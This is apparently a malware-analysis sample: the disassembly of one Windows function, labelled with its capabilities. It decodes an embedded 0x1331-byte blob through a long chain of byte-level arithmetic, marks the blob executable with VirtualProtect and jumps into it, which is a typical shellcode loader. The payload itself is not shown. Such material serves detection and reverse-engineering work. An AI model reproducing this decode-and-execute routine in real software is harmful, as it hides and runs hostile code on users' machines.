Function at 0x10005dc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0xbebc200
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000601a
push 0xbebc200
push 0xde
mov eax, dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 8], 0
jmp 0x10005e1d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x1331
jae 0x10005ffd
mov edx, dword [ebp - 8]
mov al, byte [edx + 0x10008010]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0x27
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 0x2b
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, 0x67
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 5
movzx eax, byte [ebp - 1]
shl eax, 3
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0x5e
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 1
movzx ecx, byte [ebp - 1]
shl ecx, 7
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
add edx, 0xd9
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 0x5b
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0x96
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 3
movzx ecx, byte [ebp - 1]
shl ecx, 5
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
sub edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 0xcc
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, 0x3f
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0xd5
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 1
movzx ecx, byte [ebp - 1]
shl ecx, 7
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
add edx, 0xf6
mov byte [ebp - 1], dl
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [eax + 0x10008010], cl
jmp 0x10005e14
lea edx, [ebp - 0x10]
push edx
push 0x40
push 0x1331
push 0x10008010
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10008010
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret